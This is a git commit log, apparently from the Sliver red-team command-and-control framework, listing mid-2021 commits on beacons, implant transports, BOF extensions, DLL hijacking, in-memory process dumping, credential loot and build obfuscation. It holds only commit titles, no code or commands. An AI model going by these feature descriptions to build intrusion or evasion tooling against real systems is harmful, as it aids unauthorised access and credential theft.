A small fix for ls
2021-09-13 17:15:29 -05:00
Raf 185913c6eb client/command/filesystem/ls: Fix an off-by-one error that prevented the ls command from operating against the root of the drive. 2021-09-13 15:22:29 -04:00
moloch-- e3093bee6e Implemented a real kick-operator cmd 2021-09-11 23:18:24 -05:00
moloch-- f6014393be Added per-operator call credentials 2021-09-11 22:39:32 -05:00
moloch-- 90de40f1ee gofmt 2021-09-11 19:57:15 -05:00
a3sroot 43548ad4b2 Merged pr #509 2021-09-11 19:54:29 -05:00
moloch-- 09358666a1 Fix null http session bug and nil ptr in sessions cmd 2021-09-11 19:14:27 -05:00
moloch-- 213ad330c5 Fixed variable shadowing issue when executing multiple tasks 2021-09-11 15:19:25 -05:00
moloch-- f7d7bdc677 Implemented async versions of all fs commands 2021-09-11 13:23:29 -05:00
moloch-- c292ac4b28 The ls command works round trip 2021-09-11 10:43:59 -05:00
moloch-- f576c138c9 Added task counts and pb descriptions 2021-09-11 09:16:47 -05:00
moloch-- 216054e90c Implemented task rpc's 2021-09-10 18:48:30 -05:00
moloch-- 62e311fb6f Beacons can return results 2021-09-10 16:25:31 -05:00
moloch-- 90de32b6f2 Added additional settings 2021-09-10 13:27:13 -05:00
rkervella cc2a5bb622 Refactor 2021-09-10 17:27:59 +02:00
moloch-- b8b20711fe Implemented async task creation 2021-09-10 09:37:38 -05:00
rkervella 3d7889183a Revert "Refactoring"
This reverts commit de7fd664cd.
2021-09-10 16:17:49 +02:00
rkervella d2297f9423 Revert "Escape string before JSON parsing"
This reverts commit 1549b894fa.
2021-09-10 16:13:47 +02:00
rkervella de7fd664cd Refactoring 2021-09-10 15:25:05 +02:00
moloch-- f87582462d Re-implemented UseCmd args 2021-09-10 07:58:28 -05:00
rkervella 1549b894fa Escape string before JSON parsing 2021-09-10 13:39:59 +02:00
rkervella 32119e09dc Add PID to bof result 2021-09-10 12:31:26 +02:00
rkervella 4dd5319987 Check for nil pointer 2021-09-10 11:06:46 +02:00
rkervella 860452c418 Removed comment 2021-09-10 10:51:55 +02:00
moloch-- 87fba59c57 Implemented client settings and customizable tables 2021-09-09 18:22:32 -05:00
moloch-- ab58a67df4 converted beacons cmd to table writer 2021-09-09 17:42:57 -05:00
moloch-- 424db7bdca Added command/settings and porting tables to use lib 2021-09-09 16:29:28 -05:00
moloch-- cec1451dec Do not export active session 2021-09-09 11:19:33 -05:00
rkervella 4d64866a15 Remove commented code 2021-09-09 10:19:27 +02:00
rkervella 1d859f99c8 Initial BOF support for Prelude Operator 2021-09-08 13:55:31 +02:00
moloch-- e79e3daf7d Updated use cmd 2021-09-07 18:11:52 -05:00
moloch-- 1a632f48ff Initial refactor of client code to support beacons and sessions 2021-09-07 17:43:35 -05:00
moloch-- 83adb36bbd Beacon rm tweaks 2021-09-06 20:43:06 -05:00
moloch-- 686452a65e Implemented rm beacon cmd 2021-09-06 20:36:08 -05:00
moloch-- e436e9ca89 Outlined beacon tasks 2021-09-06 19:49:05 -05:00
moloch-- db29281233 Implemented beacons cmd 2021-09-06 19:01:16 -05:00
moloch-- 65cea9eeb2 Wired handler to db 2021-09-06 17:47:46 -05:00
moloch-- 06a44f980b Basic beacon compiles 2021-09-06 15:06:08 -05:00
moloch-- 952f22583e Improvements to handling of poll timeout value 2021-09-06 11:14:43 -05:00
moloch-- 5429c8d45a Fix http client desync issue 2021-09-06 10:06:19 -05:00
moloch-- 9e8bfb62d7 Improvements to time handling, configurable client poll timeout 2021-09-06 09:55:47 -05:00
moloch-- 45ef2a27a9 Merged burned/health columns 2021-09-05 16:16:12 -05:00
moloch-- 93a1492a05 Fix time, moved more to int64 2021-09-05 14:05:40 -05:00
moloch-- b554b49b42 All time fields are int64 2021-09-05 12:25:10 -05:00
moloch-- e7d8495cb0 Server compiles 2021-09-05 11:16:50 -05:00
moloch-- 2ebb2734bf Merge stage, wip on server-side beacon support 2021-09-05 09:52:32 -05:00
rkervella c3f5f2bf85 Remove logging 2021-09-05 10:53:37 +02:00
rkervella 515b927791 Set default AES key 2021-09-05 09:56:17 +02:00
rkervella 35489e974f Rename operator to prelude-operator 2021-09-05 09:47:02 +02:00
rkervella e2cf688044 Merge branch 'prelude-operator' into stage 2021-09-05 09:45:55 +02:00
moloch-- 79772297bc wip on deticated beacon mode 2021-09-04 19:00:11 -05:00
moloch-- 7d4de43559 wip on deticated beacon mode 2021-09-04 17:39:08 -05:00
moloch-- 7df290386e wip on deticated beacon mode 2021-09-04 16:50:14 -05:00
moloch-- fc5673b33e Added fallback host uuid method 2021-09-04 14:10:07 -05:00
moloch-- 31a53a4cba Fix named pipe / unit tests 2021-09-04 12:59:26 -05:00
moloch-- 8967bcf35d Remove duplicate GetSpecialHandlers() 2021-09-04 12:27:34 -05:00
moloch-- 6d4b28731e Refactoring implant transports, and handlers 2021-09-04 12:11:16 -05:00
moloch-- 235201f701 Refactoring implant transports 2021-09-04 09:34:45 -05:00
rkervella d1135d1d68 Add Prelude's Operator support 2021-09-04 12:31:34 +02:00
moloch-- a998a571f9 Various fixes to http c2 transport 2021-09-03 20:49:50 -05:00
moloch-- ce3cee731c Improved c2 unit tests 2021-09-03 17:55:20 -05:00
moloch-- 9e924efcb2 Fix unit tests for matcher funcs 2021-09-03 17:43:40 -05:00
moloch-- 23309233a8 Merged stage 2021-09-03 17:18:53 -05:00
moloch-- e107382d07 Improvements to http server 2021-09-03 10:02:01 -05:00
moloch-- 9ea9d1add8 Fixes to the http router and path generation 2021-09-02 09:20:50 -05:00
moloch-- bc5a622944 Improved unit tests 2021-09-02 08:14:09 -05:00
moloch-- c24a37edcd Renamed implant generation code 2021-09-01 20:56:23 -05:00
moloch-- 536171e8ac Fix paths for sliver .c and .h 2021-09-01 16:39:21 -05:00
moloch-- 4d17f0ed66 Moved pty to build constraints in shell pkg 2021-09-01 16:23:37 -05:00
moloch-- 1e5bf9a39c Fix version build constraints 2021-09-01 16:06:07 -05:00
moloch-- 18cb8d142d Fix version pkg 2021-09-01 15:56:54 -05:00
moloch-- b3467e0512 Fix shell pkg 2021-09-01 15:38:17 -05:00
moloch-- 8a1845baf8 Major refactor to implant render code 2021-09-01 14:50:52 -05:00
moloch-- 00a2faf137 Code cleanup, added max req length 2021-09-01 09:14:32 -05:00
moloch-- 6fb3835e14 Merged stage, fix unit tests 2021-08-31 08:38:02 -05:00
moloch-- f3144eb919 wip on server-side updates 2021-08-31 07:17:32 -05:00
moloch-- 83c5fad8eb Go mod vendor 2021-08-28 18:27:37 -05:00
moloch-- bfe2013eb5 Merged otp 2021-08-28 18:19:31 -05:00
moloch-- 0923de192c Updated with other branches 2021-08-28 18:17:32 -05:00
moloch-- c41e9dead0 Session connects 2021-08-28 17:58:32 -05:00
moloch-- e989ba581b Basic outline of http/otp working 2021-08-28 14:02:26 -05:00
moloch-- 7f9657f32d WIP on otp 2021-08-27 15:26:33 -05:00
moloch-- 8cc3f1984a Updated garble 2021-08-26 17:31:01 -05:00
rkervella 3c07043531 Update COFFLoader version, add it back to go-assets.sh 2021-08-24 15:59:31 +02:00
rkervella b60e826a02 Merge branch 'master' into extensions 2021-08-23 11:11:21 +02:00
rkervella d337d4f13c Merge branch 'master' into stage 2021-08-23 09:42:24 +02:00
Joe 80b40341d8 Merge pull request #503 from RafBishopFox/master
Getprivs: Cleanup and Adding Process Name
2021-08-21 11:53:19 -05:00
Raf c4101f502d Add process name to getprivs and cleaning up getprivs code 2021-08-21 08:09:36 -04:00
rkervella 75dd1b1a26 Add missing imports 2021-08-20 16:33:19 +02:00
rkervella 359746120a Add execute redirection to remote file 2021-08-20 16:13:59 +02:00
rkervella b08728765d Add missing import 2021-08-20 12:59:45 +02:00
rkervella 69d99e28fd Fix merge on go.mod 2021-08-20 12:44:45 +02:00
rkervella a811b53561 Fix merge 2021-08-20 12:43:12 +02:00
rkervella cbfae11876 Reflect changes to windows executeTokenHandler 2021-08-20 12:34:25 +02:00
rkervella b7a814f0c5 Rework execute stdout/stderr handling 2021-08-20 11:58:22 +02:00
rkervella 572e717634 Move DLL hijack to client protobuf side 2021-08-20 11:23:06 +02:00
rkervella 4bf7246b0a Merge branch 'master' into extensions 2021-08-20 11:13:29 +02:00
rkervella febf50e464 Add debug statements + handle some edge cases 2021-08-20 11:12:18 +02:00
Joe 59bdaa7469 Merge pull request #501 from BishopFox/gh-pages
Updated Linux install script
2021-08-19 15:17:23 -05:00
moloch-- cce67c289a Updated linux install script 2021-08-19 14:55:49 -05:00
Joe 97e7df764c Merge pull request #500 from BishopFox/go/v1.17
Go/v1.17
2021-08-19 11:48:43 -05:00
moloch-- 33e03df1c9 Fix case of Binject in vendor/ 2021-08-19 11:09:47 -05:00
moloch-- d8fc1244d6 Updated Github Actions to use 1.17 2021-08-19 10:14:46 -05:00
moloch-- 93e5d21941 Go mod tidy/vendor with 1.17 2021-08-19 10:13:36 -05:00
moloch-- 7f31a9ea3e Clean up of Dockerfile, fixed import 2021-08-19 09:59:48 -05:00
moloch-- 242afb0011 Go v1.17 2021-08-19 09:38:00 -05:00
rkervella a427f86c4e Merge branch 'master' into extensions 2021-08-19 00:04:25 +02:00
Ronan Kervella 93935b1691 Merge pull request #497 from RafBishopFox/master
Extending ls functionality
2021-08-18 17:00:56 +02:00
Raf a13a4dc12e ls: Adding a bit more info to long help (Round 2). 2021-08-18 10:04:25 -04:00
Raf 4fa4562bea ls: Adding a bit more info to long help. 2021-08-18 09:24:11 -04:00
Raf 61b86a4a9a Extending ls functionality 2021-08-18 07:52:31 -04:00
rkervella 4c2a309054 Document existing issues with Darwin extensions 2021-08-18 10:17:20 +02:00
rkervella 465eb8cfee Add comment about missing callback support 2021-08-18 09:54:09 +02:00
rkervella 55da1a5dde Update vendor 2021-08-18 09:32:31 +02:00
rkervella bf44f379ec Update vendor 2021-08-18 09:31:37 +02:00
rkervella e5430caf8d Add darwin support 2021-08-18 09:30:25 +02:00
rkervella 60c5c2ee89 Merge branch 'master' into extensions 2021-08-16 18:23:10 +02:00
rkervella 9cf607d155 Fix duplicate protobuf identifier 2021-08-16 17:29:18 +02:00
rkervella e3a6b237f1 Fix typo 2021-08-16 16:22:52 +02:00
Ronan Kervella 2c70ff1291 Merge pull request #496 from RafBishopFox/master
Adding process integrity to getprivs
2021-08-16 15:55:37 +02:00
Raf 4a3a2a7be3 Adding process integrity to getprivs 2021-08-16 09:23:56 -04:00
Joe 2a8f9bca18 Merge pull request #493 from BishopFox/go/v1.16.7
Go v1.16.7
2021-08-09 10:29:06 -05:00
moloch-- d46a67c840 Go v1.16.7 2021-08-09 10:06:49 -05:00
rkervella 8b99a98d5e Merge branch 'master' into extensions 2021-08-04 14:14:46 +02:00
Ronan Kervella 043eda5bc4 Merge pull request #492 from BishopFox/procdump-memory
In-memory procdump
2021-08-04 13:23:41 +02:00
rkervella a51d93cf58 Merge branch 'master' into procdump-memory 2021-08-04 12:14:22 +02:00
rkervella 44abb0e03b Switch to in memory process dump on windows 2021-08-04 12:00:01 +02:00
Ronan Kervella 09d94ab559 Merge pull request #491 from BishopFox/jd/extensions
Extensions
2021-08-04 09:13:17 +02:00
moloch-- 1420ebd447 Moved asset setup to client/console 2021-08-03 19:51:37 -07:00
rkervella 96a531f9d4 Merge branch 'master' into extensions 2021-08-03 12:33:55 +02:00
Ronan Kervella 7ef4923fc0 Merge pull request #490 from iiiusky/fix/portfwdBug
fix: Remove default from select, which will cause the cpu to spike
Overriding commit signing for this one, it's a one line change with no security impact.
2021-08-03 11:50:18 +02:00
sky 3f83761a90 fix: Remove default from select, which will cause the cpu to spike 2021-08-03 16:11:36 +08:00
Ronan Kervella f3bdb5cadc Merge pull request #486 from BishopFox/hosts
Hosts
2021-08-02 09:04:31 +02:00
moloch-- fd3df6a3f3 Implemented ioc rm cmd 2021-07-31 11:42:23 -07:00
moloch-- 3c6b60bc3e Hosts IOC tracking support 2021-07-31 08:25:27 -07:00
moloch-- d42373e545 Added hosts iocs cmd 2021-07-29 19:41:32 -05:00
moloch-- 76e4f430d0 Merged extensions 2021-07-29 09:32:42 -05:00
moloch-- ab8d431c39 implemented hosts rm 2021-07-29 09:28:18 -05:00
moloch-- e4ad404822 Fix host uuid 2021-07-29 06:57:19 -05:00
rkervella 9e6a771a1a Merge branch 'master' into extensions 2021-07-29 11:40:54 +02:00
Ronan Kervella 94eb13610b Merge pull request #485 from BishopFox/registry
Add registry list-subkeys and list-values sub commands
2021-07-29 11:37:29 +02:00
rkervella 394fdb4a1e Add registry list-subkeys and list-values sub commands 2021-07-29 11:06:27 +02:00
rkervella 69ebbcb728 Merge branch 'extensions' of bishopfox.github.com:BishopFox/sliver into extensions 2021-07-29 10:17:28 +02:00
rkervella 5c65da3567 Add loader and default manifest to client's assets 2021-07-29 10:16:25 +02:00
rkervella 1c67a11c29 Remove CLR DLL as we don't need it anymore 2021-07-29 08:34:27 +02:00
moloch-- 755bed951b Add ioc tracking 2021-07-28 23:37:49 -05:00
moloch-- 7ba4e5bec0 Sessions for hosts 2021-07-28 23:04:26 -05:00
moloch-- 5d8d49461c Outlined hosts db and cmd 2021-07-28 22:48:14 -05:00
Joe cadc717963 Merge pull request #484 from BishopFox/jd/extensions
Platform agnostic path manipulation in macros
2021-07-28 14:27:38 -05:00
moloch-- ce4a7c7dcc Platform agnostic path manipulation in macros 2021-07-28 14:06:22 -05:00
Ronan Kervella ab8ff6a06a Merge pull request #483 from BishopFox/jd/extensions
Platform agnostic path manipulation
2021-07-28 17:41:51 +02:00
moloch-- 3b93554df2 Platform agnostic path manipulation 2021-07-28 08:20:52 -05:00
rkervella b688b7b121 Only update session when necessary 2021-07-28 14:58:01 +02:00
rkervella 3ce603a3c7 Fix constructor call, add dynamic entrypoint resolution for BOFs 2021-07-28 11:48:17 +02:00
Ronan Kervella 9d3b6564f8 Merge pull request #480 from BishopFox/fix/reg-crash
Fix crash on registry read
2021-07-27 19:02:34 +02:00
rkervella 9cdb3e6def Apply fix to reg-create and reg-write too 2021-07-27 18:43:07 +02:00
rkervella 2df7f1319f Fix #479 2021-07-27 18:40:18 +02:00
rkervella 4ad24ac3a0 Fix typo 2021-07-27 18:14:20 +02:00
rkervella 3d9df17d43 Fix path 2021-07-27 15:49:35 +02:00
rkervella d53c646af0 Store extension dir in assets 2021-07-27 15:44:05 +02:00
rkervella 601c1eea64 Add support for init function 2021-07-27 15:27:31 +02:00
rkervella 12ee96451a Refactor BOF args parsing 2021-07-27 15:24:29 +02:00
rkervella cc304ba85a Update readme 2021-07-27 15:19:09 +02:00
rkervella a743a72500 vendor update 2021-07-27 15:14:26 +02:00
rkervella 6c75b08648 Extension rework 2021-07-27 15:14:13 +02:00
Joe d928ca58dd Merge pull request #478 from RafBishopFox/master
Add new Windows command getprivs
2021-07-25 16:30:00 -05:00
Raf c18ba5fcb8 Merge branch 'master' of github.com:RafBishopFox/sliver 2021-07-25 16:29:02 -04:00
Raf 0e9545ae1c Adding getprivs command for Windows 2021-07-25 16:28:48 -04:00
Raf e6d1041068 Adding getprivs command for Windows 2021-07-25 16:07:49 -04:00
rkervella 85265d663f WIP, doesn't work with LSASS 2021-07-23 13:45:13 +02:00
Joe 7a38ddffb6 Merge pull request #477 from BishopFox/fix/proto
Migrate to google.golang.org/protobuf
2021-07-21 18:16:19 -05:00
moloch-- 5b160e358e Moved to google.golang.org/protobuf 2021-07-21 11:27:30 -05:00
moloch-- f94f0fc938 added implant/README.md 2021-07-21 11:17:57 -05:00
moloch-- 714499b21b added warning to constants header 2021-07-21 11:06:25 -05:00
Ronan Kervella 9be7ccb209 Merge pull request #476 from BishopFox/extensions
Fix extensions arguments parsing
2021-07-20 16:33:27 +02:00
rkervella a43850333b Fix extensions arguments parsing 2021-07-20 16:00:43 +02:00
Ronan Kervella f6351f725a Merge pull request #475 from BishopFox/extensions
Update sideload to use Donut
2021-07-20 15:10:19 +02:00
rkervella 1079a559ab Update sideload to use Donut 2021-07-20 14:37:45 +02:00
Ronan Kervella 5bcf9ba893 Merge pull request #474 from BishopFox/cat-hex
Add hex dump to the cat command
2021-07-20 13:27:44 +02:00
rkervella ebfa3ca86c Add hex dump to the cat command 2021-07-20 12:56:00 +02:00
Joe 6c62dfb486 Merge pull request #473 from BishopFox/fix/dns
Fixed issue #436 and standardized on --lhost/-L for all listener cmds
2021-07-19 17:46:28 -05:00
moloch-- 76cd61a27d Fixed issue #436 and standardized on --lhost/-L for all listener commands 2021-07-19 15:53:16 -05:00
Ronan Kervella 35d692b4ca Merge pull request #472 from BishopFox/dll-hijack
Add dllhijack command
2021-07-19 17:16:44 +02:00
rkervella a1058aa4f0 Update long help 2021-07-19 16:40:11 +02:00
rkervella ae3c082498 Add dllhijack command 2021-07-19 15:43:16 +02:00
Ronan Kervella d3a107cf43 Merge pull request #471 from BishopFox/duphandle
Use DuplicateHandle to get a fully privileged handle to remote processes instead of PROCESS_ALL_ACCESS request
2021-07-16 15:00:40 +02:00
rkervella ee5acfe47b No more OpenProcess with PROCESSS_ALL_ACCESS 2021-07-16 14:16:18 +02:00
Joe 10c3062016 Merge pull request #470 from BishopFox/stage
Go v1.16.6
2021-07-15 15:11:43 -05:00
moloch-- 5e80dfcfb9 Go v1.16.6 2021-07-15 14:51:37 -05:00
Joe 5bcfa4c249 Merge pull request #468 from BishopFox/stage
Disable garble's -tiny option
2021-07-13 08:07:10 -05:00
rkervella ac3e29a287 Disable garble's -tiny option 2021-07-13 14:34:20 +02:00
Joe a3af100db0 Update README.md 2021-07-09 17:05:58 -05:00
Joe 7489c69962 Merge pull request #465 from BishopFox/gh-pages
Bug Fixes & GH Pages
2021-07-09 16:45:21 -05:00
moloch-- 3859b3493e Added some content 2021-07-09 16:26:13 -05:00
moloch-- 874023b8c3 Fix bug in loot allOf 2021-07-09 16:11:14 -05:00
moloch-- 5f971b36d4 Outlined docs/ 2021-07-09 14:46:59 -05:00
moloch-- b2451c4bfb All survey v2 2021-07-09 14:46:02 -05:00
moloch-- 2af5195c85 Updated readme 2021-07-06 20:53:11 -05:00
moloch-- bff100ad31 Updated readme 2021-07-06 19:43:54 -05:00
Joe b20ee295bb Merge pull request #464 from BishopFox/ux/generate
Add warning when cross-compiling to targets without a cross-compiler …
2021-07-06 09:39:18 -05:00
moloch-- 249f9355f2 Fix typo 2021-07-06 09:19:01 -05:00
moloch-- 3793fae878 Add warning when cross-compiling to targets without a cross-compiler instaleld 2021-07-06 09:15:45 -05:00
Ronan Kervella 3e8ce33a49 Merge pull request #462 from BishopFox/fix/461
Fix #461
2021-07-06 15:16:17 +02:00
rkervella 2ea95543a9 Fix #461 2021-07-06 14:28:23 +02:00
moloch-- 1857b9c0ed More readme's 2021-07-05 23:05:45 -05:00
Joe 9e56e9ac4b Merge pull request #459 from BishopFox/reaction
Reaction
2021-07-05 21:11:35 -05:00
moloch-- 106b2a7c5c Cleanup/tweaks 2021-07-05 18:07:42 -05:00
moloch-- 8d3cba07ef Added verbose help for reactions 2021-07-05 17:09:11 -05:00
moloch-- 43398e2eee Added save/reload cmds, autoload reactions if they exist at start up 2021-07-05 16:34:06 -05:00
moloch-- 8d8e902a72 get-env, etc -> env with subcommands 2021-07-05 15:57:01 -05:00
moloch-- 28c7460983 Cleanup some reaction code 2021-07-05 13:32:35 -05:00
moloch-- 084faf44ca Implemented event reaction command 2021-07-05 12:09:40 -05:00
Joe c616f7a9b2 Merge pull request #458 from BishopFox/fix/golint
Various golint fixes
2021-07-04 14:22:13 -05:00
moloch-- 53d6d14c72 Various golint fixes 2021-07-04 14:04:29 -05:00
Joe ea32922663 Merge pull request #457 from BishopFox/fix/golint
Fix/golint
2021-07-04 13:39:58 -05:00
moloch-- 7321f62778 golint fixes in server/generate 2021-07-04 13:22:27 -05:00
moloch-- cee5966e77 golint fixes in client/core 2021-07-04 13:19:53 -05:00
moloch-- b800448670 golint fixes in server/ 2021-07-04 13:17:18 -05:00
moloch-- 9a5d6948fe Added export comments to client/command 2021-07-04 13:08:15 -05:00
moloch-- 2e4ab0a3bb Move lic 2021-07-04 10:53:04 -05:00
moloch-- c06c87bf3a Fix code comment 2021-07-04 09:20:03 -05:00
Joe bfc645846e Merge pull request #456 from BishopFox/client-refactor
Client Refactor
2021-07-04 09:14:56 -05:00
moloch-- 7a56c9423c Hunted down any remaining calls to fmt.Print 2021-07-04 08:00:43 -05:00
moloch-- 249fee093d Refactored extensions, client refactor completed 2021-07-03 18:02:06 -05:00
moloch-- 3ee1f5a7c5 Always clear prompt line, initialize isServer 2021-07-03 17:54:04 -05:00
moloch-- 80e42b307d Refactored screenshot, improvements to sessions 2021-07-03 17:50:15 -05:00
moloch-- 13bfc10223 Refactored shell, added ssh to exec pkg 2021-07-03 16:37:36 -05:00
moloch-- 32957cb9bd Refactored monitor, network, pivots, and portfwd 2021-07-03 16:26:40 -05:00
moloch-- de49318845 Refactored registry and websites 2021-07-03 15:53:08 -05:00
moloch-- 1696184d6b Refactored registry and websites 2021-07-03 15:52:55 -05:00
moloch-- 8e215c2bd0 Refactored privilege, updated loot 2021-07-03 15:14:44 -05:00
moloch-- 94147ca1ab Refactored backdoor and wg 2021-07-03 14:49:55 -05:00
moloch-- 71c921b36e Refactored stage listener 2021-07-03 14:25:28 -05:00
moloch-- 993996bc91 Refactored sessions and operators 2021-07-03 14:12:02 -05:00
moloch-- 1c81b2baae Refactored jobs 2021-07-03 12:33:44 -05:00
moloch-- b01376d3e6 Updated client/command/README.md 2021-07-03 12:10:44 -05:00
moloch-- a344d8b972 Refactored generate 2021-07-03 12:03:58 -05:00
moloch-- 6070997279 client/ 2021-07-03 12:03:40 -05:00
moloch-- fa2ab0bad2 Refactored info 2021-07-03 11:38:48 -05:00
moloch-- ad5e3024d6 Refactored exec and loot 2021-07-03 11:32:42 -05:00
moloch-- de8acdccc5 Refactored file system cmds 2021-07-03 10:47:21 -05:00
moloch-- 48dc187e50 Outlined update cmd 2021-07-03 10:33:51 -05:00
moloch-- b8671cc160 Outlined major refactor of client/ 2021-07-03 10:14:49 -05:00
Joe f318c002de Merge pull request #418 from janedoe-lab/reverse-proxy-remoteaddr
Fetch correct remote addr when sliver server runs behind reverse proxy
2021-07-02 09:53:32 -05:00
Joe 15a8aa7cd5 Merge pull request #455 from BishopFox/prompt
Prompt
2021-07-02 09:41:09 -05:00
moloch-- f9c91f1ad7 Improved validate and annotation of where we derive remote address from 2021-07-02 09:32:14 -05:00
moloch-- 69aefd6ab2 Merge branch 'master' into reverse-proxy-remoteaddr 2021-07-02 09:31:51 -05:00
moloch-- 4cf45b100b Remove memory/cpu warning for obfuscated symbols 2021-07-02 09:16:21 -05:00
Joe a2aa9c2daf Merge pull request #454 from BishopFox/generate-info
Generate Info
2021-07-02 09:14:23 -05:00
moloch-- 1cace21960 Modify prompt depending on if the client is running as the server/multiplayer client 2021-07-02 09:14:02 -05:00
moloch-- f02783206f Merge branch 'master' into generate-info 2021-07-02 08:49:05 -05:00
Ronan Kervella dbe6cb8843 Merge pull request #452 from BishopFox/ssh
Add support for loot in the SSH command
2021-07-02 09:20:32 +02:00
moloch-- dc74940cb9 Removed extra logging 2021-07-01 19:43:27 -05:00
moloch-- 16ee381eae Improved ux around 'generate info' 2021-07-01 19:37:48 -05:00
moloch-- 1379ff6afe Improved ux around 'generate info' 2021-07-01 19:21:46 -05:00
moloch-- 91d277baae Added list of 'unsupported' compiler targets 2021-07-01 19:05:53 -05:00
moloch-- 330e0e7bdd Added missing lic headers 2021-07-01 18:07:00 -05:00
Joe 0df8f9049d Merge pull request #453 from BishopFox/actions
Add 45min timeouts to actions
2021-07-01 15:42:59 -05:00
rkervella d213728abe Merge branch 'master' into ssh 2021-07-01 21:46:06 +02:00
moloch-- 1b2f0e79f8 Add 45min timeouts to actions 2021-07-01 14:40:34 -05:00
Joe f6f68dc93c Merge pull request #451 from BishopFox/loot
Loot
2021-07-01 13:59:16 -05:00
moloch-- c47b024ea9 Added loot rename command 2021-07-01 13:13:08 -05:00
rkervella dedcb42c0f Add loot credentials support to SSH command 2021-07-01 19:21:04 +02:00
rkervella 43323aed38 Merge branch 'master' into ssh 2021-07-01 18:24:44 +02:00
moloch-- 6e8949cb13 Added 'save as loot' option to some commands, improved displaying textual loot 2021-07-01 08:08:21 -05:00
Joe 3ab6061bb8 Merge pull request #450 from BishopFox/defaultshell
Default Shell
2021-07-01 07:10:01 -05:00
moloch-- f28010137d Better ux and logging for shell_default 2021-06-30 21:49:04 -05:00
moloch-- 7ec5b83227 Enable dumb shell and portfwd in default builds 2021-06-30 17:03:04 -05:00
Joe c69486cc40 Merge pull request #449 from BishopFox/help
Fixes and improvements to 'help'
2021-06-30 15:28:55 -05:00
moloch-- e69cf6a51e Fixes and improvements to 'help' 2021-06-30 14:32:16 -05:00
Joe f056fdf893 Merge pull request #447 from BishopFox/loot
Loot
2021-06-30 12:49:32 -05:00
rkervella f49c83961e Handle CredentialType_FILE for displayLootCredentials 2021-06-30 18:56:49 +02:00
moloch-- 7993b4c2c6 Added long form --help to loot cmd 2021-06-30 11:35:55 -05:00
moloch-- 35b28941a3 Improved loot ux 2021-06-30 11:16:41 -05:00
moloch-- 543950ad8a Refactored loot scheme to support credential files 2021-06-30 10:02:37 -05:00
moloch-- e4b036feb9 removed redundent param checks 2021-06-30 07:33:31 -05:00
Ronan Kervella acb079ed07 Merge pull request #448 from BishopFox/grumble-update
Refactor to remove useless argument checks.
2021-06-30 11:29:59 +02:00
rkervella c918499595 Refactor to remove useless argument checks.
Fix optional argument issue on `info`
2021-06-30 11:02:30 +02:00
moloch-- 8349abb7b2 Fix event type typo 2021-06-29 22:38:56 -05:00
moloch-- 2fa02e5f35 Publish loot events 2021-06-29 22:36:33 -05:00
moloch-- 02b6c6eb98 Fix unit tests 2021-06-29 22:12:24 -05:00
moloch-- 77565919df Added creds subcommand 2021-06-29 21:37:52 -05:00
moloch-- 8095fc8239 Basic functionality working 2021-06-29 21:08:25 -05:00
moloch-- 4dfd1842fc Working on user interface 2021-06-29 19:18:36 -05:00
moloch-- 7a3be8f0be Unit tests pass 2021-06-29 17:19:18 -05:00
moloch-- a7cacc5aac Outlined loot APIs 2021-06-29 16:27:03 -05:00
Joe 0eecbd2d6c Merge pull request #446 from BishopFox/compiler
Add Compiler Info Cmd
2021-06-29 09:31:15 -05:00
moloch-- 7967e1f4f8 Added cross-compilers to GetCompiler response 2021-06-29 09:10:36 -05:00
moloch-- 9cabf02b0d Updated licenses 2021-06-29 08:33:42 -05:00
moloch-- e1518853da Merged master 2021-06-29 08:29:14 -05:00
moloch-- 65dd048ad1 syntax fix 2021-06-29 08:24:35 -05:00
Ronan Kervella a447dd1331 Merge pull request #444 from BishopFox/grumble-update
Grumble update
2021-06-29 10:36:09 +02:00
moloch-- 93744799dc Moved profile-generate and new-profile under profiles cmd 2021-06-28 21:59:53 -05:00
moloch-- b8b1574ab5 Implemented GetCompiler, small refactor to pb 2021-06-28 21:41:53 -05:00
moloch-- eb4573d103 Updated pb 2021-06-28 17:36:15 -05:00
rkervella e526554797 Update vendor 2021-06-28 14:01:04 +02:00
rkervella 10dde3d3d1 Major grumble upgrade 2021-06-28 14:00:56 +02:00
Ronan Kervella 31ed94b869 Merge pull request #443 from BishopFox/stage
Disable codeql scanning for PRs
2021-06-28 11:58:59 +02:00
rkervella 6fbde7400d Refactor ssh client 2021-06-28 11:00:37 +02:00
rkervella 2aadc4bb1e Remove debug comment 2021-06-28 10:54:06 +02:00
rkervella e110fc4fb7 Disable codeql scanning for PRs 2021-06-28 10:51:06 +02:00
Ronan Kervella edcaf11557 Merge pull request #441 from BishopFox/ssh
Add an SSH client to implants
2021-06-25 17:12:56 +02:00
rkervella d20c86c227 Update codeql workflow 2021-06-25 16:47:28 +02:00
rkervella c11055e0f6 Update flags to be more consistent with the regular ssh client 2021-06-25 16:34:57 +02:00
rkervella 0ccd25d450 Add support for windows, make code arch specific 2021-06-25 15:53:45 +02:00
rkervella 9e3aaa9976 Add support for external credentials (private key or password) 2021-06-25 15:23:51 +02:00
rkervella fce6fd61d7 Update vendor 2021-06-25 12:03:00 +02:00
rkervella 209bbd9b8b Add SSH command 2021-06-25 12:02:37 +02:00
Ronan Kervella 410f0756d2 Merge pull request #440 from BishopFox/snitch
Add optional monitoring of implant hashes on Virus Total and IBM X-Force
2021-06-24 16:29:36 +02:00
rkervella 633a423d35 Update vendor 2021-06-24 15:34:35 +02:00
rkervella 72b15b1453 Monitor command working 2021-06-24 15:34:04 +02:00
Joe e600f9fa56 Merge pull request #438 from BishopFox/stage
Fix default path for mingw on macos
2021-06-18 13:35:43 -05:00
moloch-- 7c66ce8715 Fix default path for mingw on macos 2021-06-18 11:04:40 -05:00
Joe 1231b8ce03 Merge pull request #437 from BishopFox/stage
Stage
2021-06-17 20:10:41 -05:00
rkervella c074008efb Fix string leaks via refactor of protobuf enums 2021-06-17 20:05:41 +02:00
moloch-- 9684689b1f Bump version of Garble to 1.16.7 with increased literal max size 2021-06-16 10:27:55 -05:00
Joe ee5bc3809c Merge pull request #434 from BishopFox/stage
Go 1.16.5 & Darwin musl CC
2021-06-06 06:43:44 -05:00
moloch-- 0ecb28c6a5 Added darwin musl cc default path 2021-06-05 23:03:22 -05:00
moloch-- cb6f4327d8 Go v1.16.5 2021-06-03 19:06:46 -05:00
Joe 37a09d5167 Update README.md 2021-06-01 18:44:20 -05:00
Joe 21d61eca59 Merge pull request #431 from BishopFox/stage
Better Cross-comiler Support
2021-05-30 13:00:13 -05:00
moloch-- 562a40dfac Added default paths for osxcross 2021-05-30 12:27:15 -05:00
moloch-- 5e48f3bdf9 Platform specific cross-compiler env/configs 2021-05-30 09:51:27 -05:00
moloch-- e49dbf7dbe Updated Garble 2021-05-23 16:57:18 -05:00
